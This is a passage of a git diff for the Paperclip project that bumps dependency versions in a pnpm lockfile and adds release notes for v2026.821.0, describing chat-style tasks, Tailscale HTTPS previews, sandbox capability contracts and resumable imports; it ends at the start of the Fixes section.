+      react-dom: 19.2.8(react@19.2.8)
 
-  react-style-singleton@2.2.3(@types/react@19.2.17)(react@19.2.7):
+  react-style-singleton@2.2.3(@types/react@19.2.18)(react@19.2.8):
     dependencies:
       get-nonce: 1.0.1
-      react: 19.2.7
+      react: 19.2.8
       tslib: 2.8.1
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  react-textarea-autosize@8.5.9(@types/react@19.2.17)(react@19.2.7):
+  react-textarea-autosize@8.5.9(@types/react@19.2.18)(react@19.2.8):
     dependencies:
       '@babel/runtime': 7.29.7
-      react: 19.2.7
-      use-composed-ref: 1.4.0(@types/react@19.2.17)(react@19.2.7)
-      use-latest: 1.3.0(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      use-composed-ref: 1.4.0(@types/react@19.2.18)(react@19.2.8)
+      use-latest: 1.3.0(@types/react@19.2.18)(react@19.2.8)
     transitivePeerDependencies:
       - '@types/react'
 
-  react@19.2.7: {}
+  react@19.2.8: {}
 
   readable-stream@3.6.2:
     dependencies:
@@ -16043,10 +16650,12 @@ snapshots:
       string_decoder: 1.3.0
       util-deprecate: 1.0.2
 
-  readdirp@4.1.2: {}
+  readdirp@5.1.1: {}
 
   real-require@0.2.0: {}
 
+  real-require@1.0.0: {}
+
   recast@0.23.12:
     dependencies:
       ast-types: 0.16.1
@@ -16169,7 +16778,39 @@ snapshots:
       '@rollup/rollup-win32-x64-msvc': 4.62.4
       fsevents: 2.3.3
 
-  rou3@0.7.12: {}
+  rollup@4.62.5:
+    dependencies:
+      '@types/estree': 1.0.9
+    optionalDependencies:
+      '@napi-rs/lzma-linux-x64-gnu': 1.5.1
+      '@rollup/rollup-android-arm-eabi': 4.62.5
+      '@rollup/rollup-android-arm64': 4.62.5
+      '@rollup/rollup-darwin-arm64': 4.62.5
+      '@rollup/rollup-darwin-x64': 4.62.5
+      '@rollup/rollup-freebsd-arm64': 4.62.5
+      '@rollup/rollup-freebsd-x64': 4.62.5
+      '@rollup/rollup-linux-arm-gnueabihf': 4.62.5
+      '@rollup/rollup-linux-arm-musleabihf': 4.62.5
+      '@rollup/rollup-linux-arm64-gnu': 4.62.5
+      '@rollup/rollup-linux-arm64-musl': 4.62.5
+      '@rollup/rollup-linux-loong64-gnu': 4.62.5
+      '@rollup/rollup-linux-loong64-musl': 4.62.5
+      '@rollup/rollup-linux-ppc64-gnu': 4.62.5
+      '@rollup/rollup-linux-ppc64-musl': 4.62.5
+      '@rollup/rollup-linux-riscv64-gnu': 4.62.5
+      '@rollup/rollup-linux-riscv64-musl': 4.62.5
+      '@rollup/rollup-linux-s390x-gnu': 4.62.5
+      '@rollup/rollup-linux-x64-gnu': 4.62.5
+      '@rollup/rollup-linux-x64-musl': 4.62.5
+      '@rollup/rollup-openbsd-x64': 4.62.5
+      '@rollup/rollup-openharmony-arm64': 4.62.5
+      '@rollup/rollup-win32-arm64-msvc': 4.62.5
+      '@rollup/rollup-win32-ia32-msvc': 4.62.5
+      '@rollup/rollup-win32-x64-gnu': 4.62.5
+      '@rollup/rollup-win32-x64-msvc': 4.62.5
+      fsevents: 2.3.3
+
+  rou3@0.9.2: {}
 
   roughjs@4.6.6:
     dependencies:
@@ -16198,7 +16839,7 @@ snapshots:
 
   safe-buffer@5.2.1: {}
 
-  safe-content-frame@0.0.20: {}
+  safe-content-frame@0.0.27: {}
 
   safe-stable-stringify@2.5.0: {}
 
@@ -16250,7 +16891,7 @@ snapshots:
 
   setprototypeof@1.2.0: {}
 
-  sharp@0.35.3(@types/node@22.20.1):
+  sharp@0.35.3(@types/node@24.13.3):
     dependencies:
       '@img/colour': 1.1.0
       detect-libc: 2.1.2
@@ -16281,7 +16922,7 @@ snapshots:
       '@img/sharp-win32-arm64': 0.35.3
       '@img/sharp-win32-ia32': 0.35.3
       '@img/sharp-win32-x64': 0.35.3
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
 
   shebang-command@2.0.0:
     dependencies:
@@ -16305,6 +16946,11 @@ snapshots:
       es-errors: 1.3.0
       object-inspect: 1.13.4
 
+  side-channel-list@1.0.1:
+    dependencies:
+      es-errors: 1.3.0
+      object-inspect: 1.13.4
+
   side-channel-map@1.0.1:
     dependencies:
       call-bound: 1.0.4
@@ -16328,6 +16974,14 @@ snapshots:
       side-channel-map: 1.0.1
       side-channel-weakmap: 1.0.2
 
+  side-channel@1.1.1:
+    dependencies:
+      es-errors: 1.3.0
+      object-inspect: 1.13.4
+      side-channel-list: 1.0.1
+      side-channel-map: 1.0.1
+      side-channel-weakmap: 1.0.2
+
   siginfo@2.0.0: {}
 
   signal-exit@3.0.7:
@@ -16430,10 +17084,10 @@ snapshots:
 
   std-env@4.2.0: {}
 
-  storybook@10.5.5(@types/react@19.2.17)(react@19.2.7):
+  storybook@10.5.5(@types/react@19.2.18)(react@19.2.8):
     dependencies:
       '@storybook/global': 5.0.0
-      '@storybook/icons': 2.1.0(react@19.2.7)
+      '@storybook/icons': 2.1.0(react@19.2.8)
       '@testing-library/dom': 10.4.1
       '@testing-library/jest-dom': 6.9.1
       '@testing-library/user-event': 14.6.1(@testing-library/dom@10.4.1)
@@ -16447,10 +17101,10 @@ snapshots:
       oxc-resolver: 11.24.2
       recast: 0.23.12
       semver: 7.8.5
-      use-sync-external-store: 1.6.0(react@19.2.7)
-      ws: 8.21.1
+      use-sync-external-store: 1.6.0(react@19.2.8)
+      ws: 8.21.3
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
     transitivePeerDependencies:
       - bufferutil
       - react
@@ -16496,7 +17150,7 @@ snapshots:
 
   strip-ansi@7.2.0:
     dependencies:
-      ansi-regex: 6.2.2
+      ansi-regex: 6.3.0
 
   strip-bom@3.0.0: {}
 
@@ -16553,8 +17207,6 @@ snapshots:
 
   tailwind-merge@3.6.0: {}
 
-  tailwindcss@4.3.2: {}
-
   tailwindcss@4.3.3: {}
 
   tapable@2.3.3: {}
@@ -16610,9 +17262,9 @@ snapshots:
     transitivePeerDependencies:
       - react-native-b4a
 
-  thread-stream@3.1.0:
+  thread-stream@4.2.0:
     dependencies:
-      real-require: 0.2.0
+      real-require: 1.0.0
 
   tiny-invariant@1.3.3: {}
 
@@ -16631,19 +17283,21 @@ snapshots:
 
   tinyrainbow@3.1.0: {}
 
+  tinyrainbow@3.1.1: {}
+
   tinyspy@4.0.4: {}
 
-  tldts-core@7.0.26: {}
+  tldts-core@7.4.10: {}
 
-  tldts@7.0.26:
+  tldts@7.4.10:
     dependencies:
-      tldts-core: 7.0.26
+      tldts-core: 7.4.10
 
   toidentifier@1.0.1: {}
 
-  tough-cookie@6.0.1:
+  tough-cookie@6.0.2:
     dependencies:
-      tldts: 7.0.26
+      tldts: 7.4.10
 
   tr46@6.0.0:
     dependencies:
@@ -16665,9 +17319,9 @@ snapshots:
 
   tslib@2.8.1: {}
 
-  tsx@4.23.1:
+  tsx@4.23.12:
     dependencies:
-      esbuild: 0.28.1
+      esbuild: 0.28.2
     optionalDependencies:
       fsevents: 2.3.3
 
@@ -16695,18 +17349,18 @@ snapshots:
 
   typescript@5.9.3: {}
 
-  undici-types@6.21.0: {}
-
   undici-types@7.16.0:
     optional: true
 
-  undici-types@7.24.4: {}
+  undici-types@7.18.2: {}
+
+  undici-types@8.10.0: {}
 
   undici@5.29.0:
     dependencies:
       '@fastify/busboy': 2.1.1
 
-  undici@7.24.4: {}
+  undici@8.10.0: {}
 
   unidiff@1.0.4:
     dependencies:
@@ -16764,65 +17418,55 @@ snapshots:
   unplugin@2.3.11:
     dependencies:
       '@jridgewell/remapping': 2.3.5
-      acorn: 8.17.0
+      acorn: 8.18.0
       picomatch: 4.0.5
       webpack-virtual-modules: 0.6.2
 
-  update-browserslist-db@1.2.3(browserslist@4.28.1):
+  update-browserslist-db@1.3.1(browserslist@4.28.8):
     dependencies:
-      browserslist: 4.28.1
-      escalade: 3.2.0
-      picocolors: 1.1.1
-
-  update-browserslist-db@1.2.3(browserslist@4.28.6):
-    dependencies:
-      browserslist: 4.28.6
+      browserslist: 4.28.8
       escalade: 3.2.0
       picocolors: 1.1.1
 
   url-template@2.0.8: {}
 
-  use-callback-ref@1.3.3(@types/react@19.2.17)(react@19.2.7):
+  use-callback-ref@1.3.3(@types/react@19.2.18)(react@19.2.8):
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
       tslib: 2.8.1
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  use-composed-ref@1.4.0(@types/react@19.2.17)(react@19.2.7):
+  use-composed-ref@1.4.0(@types/react@19.2.18)(react@19.2.8):
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  use-effect-event@2.0.3(react@19.2.7):
+  use-isomorphic-layout-effect@1.2.1(@types/react@19.2.18)(react@19.2.8):
     dependencies:
-      react: 19.2.7
-
-  use-isomorphic-layout-effect@1.2.1(@types/react@19.2.17)(react@19.2.7):
-    dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  use-latest@1.3.0(@types/react@19.2.17)(react@19.2.7):
+  use-latest@1.3.0(@types/react@19.2.18)(react@19.2.8):
     dependencies:
-      react: 19.2.7
-      use-isomorphic-layout-effect: 1.2.1(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      use-isomorphic-layout-effect: 1.2.1(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  use-sidecar@1.1.3(@types/react@19.2.17)(react@19.2.7):
+  use-sidecar@1.1.3(@types/react@19.2.18)(react@19.2.8):
     dependencies:
       detect-node-es: 1.1.0
-      react: 19.2.7
+      react: 19.2.8
       tslib: 2.8.1
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  use-sync-external-store@1.6.0(react@19.2.7):
+  use-sync-external-store@1.6.0(react@19.2.8):
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
 
   util-deprecate@1.0.2: {}
 
@@ -16847,7 +17491,7 @@ snapshots:
       '@types/unist': 3.0.3
       vfile-message: 4.0.3
 
-  vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1):
+  vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12):
     dependencies:
       esbuild: 0.25.12
       fdir: 6.5.0(picomatch@4.0.5)
@@ -16856,46 +17500,46 @@ snapshots:
       rollup: 4.62.4
       tinyglobby: 0.2.17
     optionalDependencies:
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
       fsevents: 2.3.3
       jiti: 2.7.0
       lightningcss: 1.32.0
-      tsx: 4.23.1
+      tsx: 4.23.12
 
-  vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1):
+  vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12):
     dependencies:
       esbuild: 0.27.7
       fdir: 6.5.0(picomatch@4.0.5)
       picomatch: 4.0.5
       postcss: 8.5.26
-      rollup: 4.62.4
+      rollup: 4.62.5
       tinyglobby: 0.2.17
     optionalDependencies:
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
       fsevents: 2.3.3
       jiti: 2.7.0
       lightningcss: 1.32.0
-      tsx: 4.23.1
+      tsx: 4.23.12
 
-  vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1):
+  vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12):
     dependencies:
       esbuild: 0.27.7
       fdir: 6.5.0(picomatch@4.0.5)
       picomatch: 4.0.5
       postcss: 8.5.26
-      rollup: 4.62.4
+      rollup: 4.62.5
       tinyglobby: 0.2.17
     optionalDependencies:
       '@types/node': 25.2.3
       fsevents: 2.3.3
       jiti: 2.7.0
       lightningcss: 1.32.0
-      tsx: 4.23.1
+      tsx: 4.23.12
 
-  vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)):
+  vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)):
     dependencies:
       '@vitest/expect': 4.1.10
-      '@vitest/mocker': 4.1.10(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+      '@vitest/mocker': 4.1.10(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
       '@vitest/pretty-format': 4.1.10
       '@vitest/runner': 4.1.10
       '@vitest/snapshot': 4.1.10
@@ -16912,19 +17556,19 @@ snapshots:
       tinyexec: 1.2.4
       tinyglobby: 0.2.17
       tinyrainbow: 3.1.0
-      vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
       why-is-node-running: 2.3.0
     optionalDependencies:
       '@opentelemetry/api': 1.9.1
-      '@types/node': 22.20.1
-      jsdom: 28.1.0(@noble/hashes@2.2.0)
+      '@types/node': 24.13.3
+      jsdom: 30.0.1(@noble/hashes@2.3.0)
     transitivePeerDependencies:
       - msw
 
-  vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)):
+  vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)):
     dependencies:
       '@vitest/expect': 4.1.10
-      '@vitest/mocker': 4.1.10(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+      '@vitest/mocker': 4.1.10(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
       '@vitest/pretty-format': 4.1.10
       '@vitest/runner': 4.1.10
       '@vitest/snapshot': 4.1.10
@@ -16941,19 +17585,19 @@ snapshots:
       tinyexec: 1.2.4
       tinyglobby: 0.2.17
       tinyrainbow: 3.1.0
-      vite: 7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
       why-is-node-running: 2.3.0
     optionalDependencies:
       '@opentelemetry/api': 1.9.1
-      '@types/node': 22.20.1
-      jsdom: 28.1.0(@noble/hashes@2.2.0)
+      '@types/node': 24.13.3
+      jsdom: 30.0.1(@noble/hashes@2.3.0)
     transitivePeerDependencies:
       - msw
 
-  vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@25.2.3)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)):
+  vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@25.2.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)):
     dependencies:
       '@vitest/expect': 4.1.10
-      '@vitest/mocker': 4.1.10(vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+      '@vitest/mocker': 4.1.10(vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
       '@vitest/pretty-format': 4.1.10
       '@vitest/runner': 4.1.10
       '@vitest/snapshot': 4.1.10
@@ -16970,16 +17614,43 @@ snapshots:
       tinyexec: 1.2.4
       tinyglobby: 0.2.17
       tinyrainbow: 3.1.0
-      vite: 7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
       why-is-node-running: 2.3.0
     optionalDependencies:
       '@opentelemetry/api': 1.9.1
       '@types/node': 25.2.3
-      jsdom: 28.1.0(@noble/hashes@2.2.0)
+      jsdom: 30.0.1(@noble/hashes@2.3.0)
     transitivePeerDependencies:
       - msw
 
-  void-elements@3.1.0: {}
+  vitest@4.1.11(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)):
+    dependencies:
+      '@vitest/expect': 4.1.11
+      '@vitest/mocker': 4.1.11(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
+      '@vitest/pretty-format': 4.1.11
+      '@vitest/runner': 4.1.11
+      '@vitest/snapshot': 4.1.11
+      '@vitest/spy': 4.1.11
+      '@vitest/utils': 4.1.11
+      es-module-lexer: 2.3.2
+      expect-type: 1.4.0
+      magic-string: 0.30.21
+      obug: 2.1.4
+      pathe: 2.0.3
+      picomatch: 4.0.5
+      std-env: 4.2.0
+      tinybench: 2.9.0
+      tinyexec: 1.3.0
+      tinyglobby: 0.2.17
+      tinyrainbow: 3.1.1
+      vite: 7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
+      why-is-node-running: 2.3.0
+    optionalDependencies:
+      '@opentelemetry/api': 1.9.1
+      '@types/node': 24.13.3
+      jsdom: 30.0.1(@noble/hashes@2.3.0)
+    transitivePeerDependencies:
+      - msw
 
   vscode-jsonrpc@9.0.1: {}
 
@@ -16997,9 +17668,17 @@ snapshots:
 
   whatwg-mimetype@5.0.0: {}
 
-  whatwg-url@16.0.1(@noble/hashes@2.2.0):
+  whatwg-url@16.0.1(@noble/hashes@2.3.0):
     dependencies:
-      '@exodus/bytes': 1.15.0(@noble/hashes@2.2.0)
+      '@exodus/bytes': 1.15.1(@noble/hashes@2.3.0)
+      tr46: 6.0.0
+      webidl-conversions: 8.0.1
+    transitivePeerDependencies:
+      - '@noble/hashes'
+
+  whatwg-url@17.1.0(@noble/hashes@2.3.0):
+    dependencies:
+      '@exodus/bytes': 1.15.1(@noble/hashes@2.3.0)
       tr46: 6.0.0
       webidl-conversions: 8.0.1
     transitivePeerDependencies:
@@ -17033,13 +17712,13 @@ snapshots:
 
   wrappy@1.0.2: {}
 
-  ws@8.21.1: {}
+  ws@8.21.3: {}
 
   wsl-utils@0.1.0:
     dependencies:
       is-wsl: 3.1.1
 
-  wsl-utils@0.3.1:
+  wsl-utils@1.0.0:
     dependencies:
       is-wsl: 3.1.1
       powershell-utils: 0.1.0
@@ -17063,14 +17742,18 @@ snapshots:
     dependencies:
       zod: 3.25.76
 
+  zod-to-json-schema@3.25.2(zod@4.4.3):
+    dependencies:
+      zod: 4.4.3
+
   zod@3.25.76: {}
 
   zod@4.4.3: {}
 
-  zustand@5.0.14(@types/react@19.2.17)(react@19.2.7)(use-sync-external-store@1.6.0(react@19.2.7)):
+  zustand@5.0.15(@types/react@19.2.18)(react@19.2.8)(use-sync-external-store@1.6.0(react@19.2.8)):
     optionalDependencies:
-      '@types/react': 19.2.17
-      react: 19.2.7
-      use-sync-external-store: 1.6.0(react@19.2.7)
+      '@types/react': 19.2.18
+      react: 19.2.8
+      use-sync-external-store: 1.6.0(react@19.2.8)
 
   zwitch@2.0.4: {}
diff --git a/releases/beta/v2026.818.0-beta.1.md b/releases/beta/v2026.818.0-beta.1.md
new file mode 100644
index 00000000000..21dcf4b6b67
--- /dev/null
+++ b/releases/beta/v2026.818.0-beta.1.md
@@ -0,0 +1,65 @@
+# Paperclip v2026.821.0
+
+> Released: 2026-08-21
+
+Paperclip v2026.821.0 is a fast follow to 2026.817.0 — and the first stable to walk the full canary → nightly → beta → stable happy path end to end, soaking as `2026.818.0-beta.1` before promotion. It carries 172 commits: chat-style tasks graduate from experiment to the default experience, managed runtime previews become reachable over Tailscale HTTPS, sandbox execution gains a verified provider capability contract, you can sign in to Claude and Codex from inside the product, large company imports survive dropped connections, and a large batch of long-standing community fixes lands.
+
+## Breaking Changes
+
+None of these require action for a typical install, but read through before upgrading:
+
+- **Chat-style tasks are the default.** The "Chat-Style Tasks" experiment toggle is gone; the task detail page is now the conversation view for everyone. A new "Classic Task Interface" preference (`enableClassicTaskInterface`, replacing `enableTaskChatRedesign` in instance settings) restores the pre-chat page — page-level header, plain comment thread, fixed Properties sidebar — but chat-only features are unavailable there. ([#11101](https://github.com/paperclipai/paperclip/pull/11101))
+- **Sandbox session-output streaming is now capability-driven, and three operator flags are gone.** The server's `streamAgentSessionOutput` setting and the Daytona plugin's `useSessions` and `useLogStream` keys no longer exist; the verified provider capability snapshot is the only streaming decision, with an automatic poll fallback. Saved configurations that still carry the removed keys load fine — the keys are simply inert. ([#11463](https://github.com/paperclipai/paperclip/pull/11463), [#11557](https://github.com/paperclipai/paperclip/pull/11557))
+- **Managed dev runtimes now default to Tailscale HTTPS previews.** When the host broker is available, eligible Paperclip-managed worktree runtimes are exposed as `tailscale_https` instead of loopback HTTP. Set `PAPERCLIP_MANAGED_RUNTIME_HTTPS=off` to keep the old behavior, or `force` to fail closed when the broker is missing. Managed runtime control routes also gained two new `409` responses (`workspace_runtime_control_in_progress`, `workspace_runtime_lease_conflict`) — callers that assumed a control always starts must handle a conflict. ([#11524](https://github.com/paperclipai/paperclip/pull/11524), [#11525](https://github.com/paperclipai/paperclip/pull/11525))
+- **Interaction resolver policy defaults to `anyone` for new interactions.** Every interaction kind now goes through one resolver-policy evaluator with recorded provenance, instead of per-route rules that blocked valid agents. Migration `0218` deliberately does **not** widen anything already pending: existing rows keep their old restrictions under new names (`board_or_agents` → `not_creator`, `board_only` → `human_only`). ([#11376](https://github.com/paperclipai/paperclip/pull/11376))
+- **The decision-training surfaces are removed from the Decisions desk** — the training library route, row actions, and drawer. The backend snapshot contract is unchanged and no data migration runs. ([#11225](https://github.com/paperclipai/paperclip/pull/11225))
+
+## Highlights
+
+- **Chat-style tasks, now the default experience** — Last release's experimental conversation view is now how every task works, and it grew up on the way: cleaner message spacing and agent bubbles, searchable assignment and the sub-task tree in the properties pane, document comments docked in a side gutter, and a chat sidebar that surfaces every issue document and agent artifact. Blocked tasks show their blockers as links with live, ordered blocker work right in the thread, and an issue with a live run shows a calm in-flight notice instead of a false alarm. Onboarding is chat-first too: finishing the wizard drops you straight into your first task's conversation, where the agent greets you, asks clarifying questions, and proposes a plan you approve item by item. ([#11101](https://github.com/paperclipai/paperclip/pull/11101), [#11263](https://github.com/paperclipai/paperclip/pull/11263), [#11226](https://github.com/paperclipai/paperclip/pull/11226), [#11456](https://github.com/paperclipai/paperclip/pull/11456), [#11487](https://github.com/paperclipai/paperclip/pull/11487), [#11423](https://github.com/paperclipai/paperclip/pull/11423))
+- **HTTPS previews for managed runtimes, over Tailscale** — A managed runtime service used to listen on plain loopback HTTP, so an agent's branch preview was unreachable from a phone or a second computer. Paperclip can now expose it at a real HTTPS URL on your tailnet, built in three deliberate layers: a separate least-privilege host broker that authorizes every mapping (peer credentials, a fixed port range, protected-port denies, append-only audit), the exposure lifecycle with durable issue-owned runtime leases and bounded control recovery so a stranded control can never block the lane forever, and a single port-pair mediator so a start can never collide with or adopt another issue's service — every mismatch fails closed and names the conflict. ([#11524](https://github.com/paperclipai/paperclip/pull/11524), [#11525](https://github.com/paperclipai/paperclip/pull/11525), [#11526](https://github.com/paperclipai/paperclip/pull/11526))
+- **Sign in to Claude and Codex from inside Paperclip** — The new-agent page now offers Claude subscription login before you create the agent, on both Test lanes, with diagnostics kept in redacted server logs and login URLs normalized to allowlisted Anthropic hosts. Under the hood, a guarded setup-token flow drives `claude setup-token` through a sandbox pseudo-terminal with owner-bound sessions and one-time token delivery, and the Codex adapter gets an equivalent sandbox device-login that promotes the credential only after readiness checks and then deletes the temporary sandbox. Deployments behind a TLS-terminating platform edge (Railway, Render, Fly, …) can declare `CLAUDE_LOGIN_EDGE_TLS_TERMINATED=true` so the transport guard stops warning about a connection that is HTTPS to the user, and a promoted device-login credential now survives managed-home re-seeding. ([#11347](https://github.com/paperclipai/paperclip/pull/11347), [#11286](https://github.com/paperclipai/paperclip/pull/11286), [#11237](https://github.com/paperclipai/paperclip/pull/11237), [#11579](https://github.com/paperclipai/paperclip/pull/11579), [#11578](https://github.com/paperclipai/paperclip/pull/11578))
+- **A real capability contract for sandbox providers** — Last release introduced live output streaming and persistent sessions for Daytona; this release makes those behaviors provable instead of configured. Providers declare capabilities in their manifest, the live worker verifies them, and the server resolves the effective set fail-closed as the intersection of declared, verified, and configured — a declared capability can never grant a method the worker didn't prove. Streaming and persistent sessions now turn on wherever the verified snapshot allows, with an automatic poll fallback, and the three operator flags that used to gate them are gone (see Breaking Changes). ([#11463](https://github.com/paperclipai/paperclip/pull/11463), [#11557](https://github.com/paperclipai/paperclip/pull/11557))
+- **Chunked, resumable company imports** — Last release raised the import cap to 1 GB; this release makes the transfer worthy of it. A dropped connection at 90% used to start the whole upload over — imports now move as verified ~32 MB parts spooled to disk with a durable run ledger, so an interrupted transfer resumes from the parts already uploaded (across dropped connections, page refreshes, and server restarts) and peak upload memory drops to one part. The Import page and CLI gained the resumable upload and a chunked preview, bundles now preserve task timestamps and hierarchy through export/import, imported agents keep their own adapter instead of being coerced to the destination's CEO adapter, and freshly imported tasks stay quiescent under the productivity review sweep. ([#11223](https://github.com/paperclipai/paperclip/pull/11223), [#11224](https://github.com/paperclipai/paperclip/pull/11224), [#11193](https://github.com/paperclipai/paperclip/pull/11193), [#11192](https://github.com/paperclipai/paperclip/pull/11192), [#11191](https://github.com/paperclipai/paperclip/pull/11191))
+## Improvements
+
+- **Onboarding meets you where you are** — A company with no agent is sent into onboarding automatically, opening at the right step: the mission step is skipped when the company already has one, an existing mission is carried into the wizard, and the step is decided once instead of jumping under a mid-flow customer. The wizard's agent and connect-model steps were reworked for the chat-first flow, no longer keep an invisible disabled adapter selected, and the decorative panel follows your theme. ([#11352](https://github.com/paperclipai/paperclip/pull/11352), [#11416](https://github.com/paperclipai/paperclip/pull/11416), [#11429](https://github.com/paperclipai/paperclip/pull/11429), [#11371](https://github.com/paperclipai/paperclip/pull/11371), [#11379](https://github.com/paperclipai/paperclip/pull/11379))
+- **Paperclip Cloud onboarding seed** — An instance can now receive the mission, first agent, and first task collected during Paperclip Cloud signup and apply them at activation, so a seeded stack opens ready to work instead of asking again. ([#11098](https://github.com/paperclipai/paperclip/pull/11098))
+- **Managed sandbox deployments** — Tenants can edit environment variables on a platform-managed sandbox environment (and only that), and a managed-sandbox-only mode hides local execution entirely with run selection failing closed. Bundled providers' documented credential env vars (e.g. `DAYTONA_API_KEY`) now reach their plugin workers, and the synthetic "Local" default option respects the mode. ([#11200](https://github.com/paperclipai/paperclip/pull/11200), [#11244](https://github.com/paperclipai/paperclip/pull/11244))
+- **Archived work reopens in place** — An archived isolated execution workspace can be reopened where it was, including archived git worktrees for managed-checkout projects. Cold arrivals on an archived company's URL are bounced to a clear page with a one-click Unarchive. ([#11322](https://github.com/paperclipai/paperclip/pull/11322), [#11395](https://github.com/paperclipai/paperclip/pull/11395), [#11302](https://github.com/paperclipai/paperclip/pull/11302))
+- **Review governance** — Review-policy verdicts are serialized and transactional, a verdict can no longer bypass a policy by downgrading, the requester is persisted atomically, and the UI badges the review policy when it is what constrains approval. ([#11405](https://github.com/paperclipai/paperclip/pull/11405), [#10938](https://github.com/paperclipai/paperclip/pull/10938))
+- **Agents can look up secrets by name** — A read-only `/secrets/catalog` endpoint maps secret names to ids for agents wiring env bindings — no values, no provider config. Issue-document annotations are also included in agent review context, so feedback left on a document reaches the agent that acts on it. ([#9530](https://github.com/paperclipai/paperclip/pull/9530), [#11332](https://github.com/paperclipai/paperclip/pull/11332))
+- **Search that scales** — The parent-issue picker searches on the server instead of the loaded page, and the issues list API gained an `updatedSince` filter. ([#11334](https://github.com/paperclipai/paperclip/pull/11334), [#9050](https://github.com/paperclipai/paperclip/pull/9050))
+- **Observability** — Host-side `stage.sync` steps are instrumented and the agent process span is homed correctly, continuing last release's sandbox-startup tracing work. ([#11301](https://github.com/paperclipai/paperclip/pull/11301))
+- **See your channel with `paperclipai channels`** — the new command shows every release lane (stable, beta, nightly, canary), the version each currently resolves to, and which one your install follows. ([#11210](https://github.com/paperclipai/paperclip/pull/11210))
+
+## Fixes
+
